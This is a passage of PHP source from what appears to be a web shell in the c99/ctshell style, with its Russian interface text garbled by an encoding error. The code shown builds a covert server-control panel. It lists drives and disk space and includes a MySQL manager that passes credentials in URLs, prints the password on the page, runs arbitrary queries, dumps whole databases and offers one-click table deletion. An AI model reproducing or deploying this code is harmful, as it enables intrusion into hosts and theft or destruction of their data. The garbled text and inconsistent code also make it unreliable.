$all = disk_total_space($d);
if (!$all) {$all = 0;}
$used = $all-$free;
$used_percent = round(100/($all/$free),2);
echo "<br><b>Ñâîáîäíûé ".view_size($free)." of ".view_size($all)." (".$used_percent."%)</b><br>";
?>
</font>
</div>
<?
if ($win)
{
?>
- <font size=2><a href="#" onClick="return branchSwitch('Drive')" title="ðàñêðûòü">Äèñêè</a></font>
<?
}
?>
<div id="Drive" style="display: none">
<?
$letters = "";
if ($win)
{
$abc = array("c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "o", "p", "q", "n", "r", "s", "t", "v", "u", "w", "x", "y", "z");
$v = explode("/",$d);
$v = $v[0];
foreach ($abc as $letter)
{
if (is_dir($letter.":/"))
{
if ($letter.":" != $v) {$letters .= "<a href=\"".$sul."act=ls&d=".$letter.":\"><IMG src=".$sul."act=img&img=pdisk width=19 height=12 border=0> ".$letter." </a> ";}
else {$letters .= "<a href=\"".$sul."act=ls&d=".$letter.":\"> <font color=\"green\"> ".$letter." </font></a> ";}
}
}
if (!empty($letters)) {echo "<b>".$letters;}
}
?>
</div>
</td><td width=1>
<font size=2><a href="<? echo $sul; ?>act=about">About</a></font>
</td></tr></table>
<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=2 width="90%" borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0">
<tr class=tr1><td>
<center>
<?
if (count($quicklaunch) > 0)
{
foreach($quicklaunch as $item)
{
$item[1] = str_replace("%d",urlencode($d),$item[1]);
$item[1] = str_replace("%upd",urlencode(realpath($d."..")),$item[1]);
echo "<a href=\"".$item[1]."\"><u>".$item[0]."</u></a> ";
}
}
?>
</center>
</td></tr></table>
<?php
if ((!empty($donated_html)) and (in_array($act,$donated_act)))
{
?>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="90%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="90%" valign="top"><?php echo $donated_html; ?></td></tr></table><br>
<?php
}
?>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="90%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php
if ($act == "") {$act = $dspact = "ls";}
if ($act == "sql")
{
$sql_surl = $sul."act=sql";
if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
if ($sql_port){$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
$sql_surl .= "&";
?><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="90%" height="1" colspan="2" valign="top"><center><?php
if ($sql_server)
{
$sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
$err = mysql_error();
@mysql_select_db($sql_db,$sql_sock);
if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_error();}
}
else {$sql_sock = false;}
echo "<b>Ìåíåäæåð SQL:</b><br>";
if (!$sql_sock)
{
if (!$sql_server) {echo "ÍÅÒ ÑÂßÇÈ";}
else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
}
else
{
$sqlquicklaunch = array();
$sqlquicklaunch[] = array("Index",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
if (!$sql_db) {$sqlquicklaunch[] = array("Query","#\" onclick=\"alert('Please, select DB!')");}
else {$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query");}
$sqlquicklaunch[] = array("Server-status",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
$sqlquicklaunch[] = array("Server variables",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
$sqlquicklaunch[] = array("Processes",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
$sqlquicklaunch[] = array("Logout",$sul."act=sql");
echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><u>".$item[0]."</u></a> ] ";}}
echo "</center>";
}
echo "</td></tr><tr>";
if (!$sql_sock) {?><td class=td2 width="48%" height="100" valign="top"><center><font size="5"> <br> </font></center>
<li>Åñëè ëîãèí ÿâëÿåòñÿ ïóñòûì, ëîãèí - âëàäåëåö ïðîöåññà. </li>
<li>Åñëè õîçÿèí ÿâëÿåòñÿ ïóñòûì, õîçÿèí - localhost </li>
<li>Åñëè ïîðò ÿâëÿåòñÿ ïóñòûì, ïîðò - 3306 (íåïëàòåæ)</li></td>
<td class=td2 width="90%" height="1" valign="top">
<TABLE height=1 class=table2 cellSpacing=0 cellPadding=0 width="1%" border=0><tr class=tr2>
<td class=td2> <b><font size=2 color=#000000>Çàïîëíèòå ôîðìó:</font></b><table><tr class=tr2><td class=td2>Èìÿ:</td>
<td class=td2 align=right>Ïàðîëü:</td></tr><form><input type="hidden" name="act" value="sql"><tr>
<td class=td2><input type="text" name="sql_login" value="root" maxlength="64"></td><td class=td2 align=right>
<input type="password" name="sql_passwd" value="" maxlength="64"></td></tr><tr class=tr2><td class=td2>Õîñò:</td>
<td class=td2>Ïîðò:</td></tr><tr><td class=td2><input type="text" name="sql_server" value="localhost" maxlength="64"></td>
<td class=td2><input type="text" name="sql_port" value="3306" maxlength="6" size="3"><input type="submit" value="Ñîåäèíèòåñü"></td></tr><tr>
<td class=td2></td></tr></form></table></td><?php }
else
{
if (!empty($sql_db))
{
?><td width="25%" height="100%" valign="top"><a href="<?php echo $sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
$result = mysql_list_tables($sql_db);
if (!$result) {echo mysql_error();}
else
{
echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
$c = 0;
while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM $row[0]"); $count_row = mysql_fetch_array($count); echo "<b>» <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>
"; mysql_free_result($count); $c++;}
if (!$c) {echo "No tables found in database.";}
}
}
else
{
?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
$result = mysql_list_dbs($sql_sock);
if (!$result) {echo mysql_error();}
else
{
?><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
echo "<option value=\"\">Databases (...)</option>
";
$c = 0;
while ($row = mysql_fetch_row($result)) {echo "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {echo " selected";} echo ">".$row[0]."</option>
"; $c++;}
}
?></select><hr size="1" noshade>Ïîæàëóéñòà, âûáåðèòå áàçó äàííûõ<hr size="1" noshade><input type="submit" value="Go"></form><?php
}
echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
if ($sql_db)
{
echo "<center><b>There are ".$c." tables in this DB (".htmlspecialchars($sql_db).").<br>";
if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><u>".$item[0]."</u></a> ] ";}}
echo "</b></center>";
$acts = array("","dump");
if ($sql_act == "query")
{
echo "<hr size=\"1\" noshade>";
if ($submit)
{
if ((!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
}
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
if ((!$submit) or ($sql_act)) {echo "<form method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to :";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"60\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form>";}
}
if (in_array($sql_act,$acts))
{
?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>SQL-Dump DB:</b><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"> <input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
if ($sql_act == "newtpl")
{
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_error();}
}
elseif ($sql_act == "dump")
{
$set = array();
$set["sock"] = $sql_sock;
$set["db"] = $sql_db;
$dump_out = "print";
if ($dump_out == "print") {$set["print"] = 1; $set["nl2br"] = 1;}
elseif ($dump_out == "download")
{
@ob_clean();
header("Content-type: ctshell");
header("Content-disposition: attachment; filename=\"".$f."\";");
$set["print"] = 1;
$set["nl2br"] = 1;
}
$set["file"] = $dump_file;
$set["add_drop"] = true;
$ret = mysql_dump($set);
if ($dump_out == "download") {exit;}
}
else
{
$result = mysql_query("SHOW TABLE STATUS", $sql_sock) or print(mysql_error());
echo "<br><form method=\"POST\"><TABLE cellSpacing=0 cellPadding=1 bgColor=#333333 borderColorLight=#333333 border=1>";
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td>";
echo "<td><center><b>Table</b></center></td>";
echo "<td><b>Rows</b></td>";
echo "<td><b>Type</b></td>";
echo "<td><b>Created</b></td>";
echo "<td><b>Modified</b></td>";
echo "<td><b>Size</b></td>";
echo "<td><b>Action</b></td>";
echo "</tr>";
$i = 0;
$tsize = $trows = 0;
while ($row = mysql_fetch_array($result, MYSQL_NUM))
{
$tsize += $row["5"];
$trows += $row["5"];
$size = view_size($row["5"]);
echo "<tr>";
echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row[0]."\"></td>";
echo "<td> <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".$row[0]."</b></a> </td>";
echo "<td>".$row[3]."</td>";
echo "<td>".$row[1]."</td>";
echo "<td>".$row[10]."</td>";
echo "<td>".$row[11]."</td>";
echo "<td>".$size."</td>";
echo "<td>
<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row[0]."`")."\"><img src=\"".$sul."act=img&img=sql_button_empty\" height=\"13\" width=\"11\" border=\"0\"></a>
<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row[0]."`")."\"><img src=\"".$sul."act=img&img=sql_button_drop\" height=\"13\" width=\"11\" border=\"0\"></a>
<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row[0]."`")."\"><img src=\"".$sul."act=img&img=sql_button_insert\" height=\"13\" width=\"11\" border=\"0\"></a>
</td>";
echo "</tr>";
$i++;
}
echo "<tr bgcolor=\"000000\">";
echo "<td><center><b>»</b></center></td>";
echo "<td><center><b>".$i." table(s)</b></center></td>";
echo "<td><b>".$trows."</b></td>";
echo "<td>".$row[1]."</td>";
echo "<td>".$row[10]."</td>";
echo "<td>".$row[11]."</td>";
echo "<td><b>".view_size($tsize)."</b></td>";
echo "<td></td>";
echo "</tr>";
echo "</table><hr size=\"1\" noshade><img src=\"".$sul."act=img&img=arrow_ltr\" border=\"0\"><select name=\"actselect\">
<option>With selected:</option>